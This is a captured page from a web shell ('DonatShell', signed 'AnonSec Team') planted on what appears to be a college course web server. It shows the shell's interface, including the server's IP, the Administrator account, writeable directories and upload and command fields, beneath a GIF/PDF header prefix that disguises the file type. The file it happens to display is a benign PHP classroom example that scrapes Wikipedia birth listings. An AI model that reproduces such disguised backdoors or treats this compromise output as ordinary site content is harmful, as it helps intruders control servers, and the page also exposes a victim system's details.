GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1146/Resources/Examples/Week/16/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1146/Resources/Examples/Week/16/wikipedia.php
<?php
/** /
# wikipedia.php

$html = file_get_contents('https://en.wikipedia.org/wiki/December_10');

echo $html;
/**/
?>

<?php
# wikipedia.php

$html = file_get_contents('https://en.wikipedia.org/wiki/December_10');

$start = stripos($html, 'id="Births"');

$end = stripos($html, 'id="Deaths"', $offset = $start) - 30; // Remove <h2><span class="mw-headline"

$length = $end - $start;

$htmlSection = substr($html, $start, $length);

#echo $htmlSection;

preg_match_all('@<li>(.+)</li>@', $htmlSection, $matches);
$listItems = $matches[1];

/** /
foreach ($listItems as $item) {
    echo "{$item}<br>\n\n";
}
/**/
echo "Who was born on December 10th<br>\n";
echo "=============================<br>\n<br>\n";

foreach ($listItems as $item) {
	$isH3 = stripos($item, '<h3>');
	if ( !$isH3 ) {
		#echo "\$item=<pre>",var_dump(htmlspecialchars($item)),"<pre>\n",basename(__FILE__),":",__LINE__,"<br>\n";
		$startsWithDate = is_numeric(substr($item,0,3));
		#echo "\$startsWithDate=",var_dump($startsWithDate)," ",basename(__FILE__),":",__LINE__,"<br>\n";
		// Ensure we are starting with the first a tag.
		$itemStart = stripos($item, '<a');
		$item = substr($item,$itemStart);
		#echo "\$item=<pre>",var_dump(htmlspecialchars($item)),"<pre>\n";
		if ( !$startsWithDate ) {
			preg_match('@(\d+)@', $item, $yearMatch); // Get the year of birth.
			#echo "\$yearMatch=<pre>",var_dump($yearMatch),"<pre>\n";
			$year = (int) $yearMatch[0];
			preg_match('@;\s<a\b[^>]*>(.*?)</a>@i', $item, $nameMatch); // Get the name.
			$name = $nameMatch[1];
		} else {
			preg_match("/<a[^>]*>(.*?)<\\/a>/si", $item, $nameMatch); // Get the name.
			#echo "\$nameMatch=<pre>",var_dump($nameMatch),"<pre>\n",basename(__FILE__),":",__LINE__,"<br>\n";
			$name = $nameMatch[1];
		}
		echo "{$name} was born in {$year}<br>\n";
	}
}

?>

Anon7 - 2022
AnonSec Team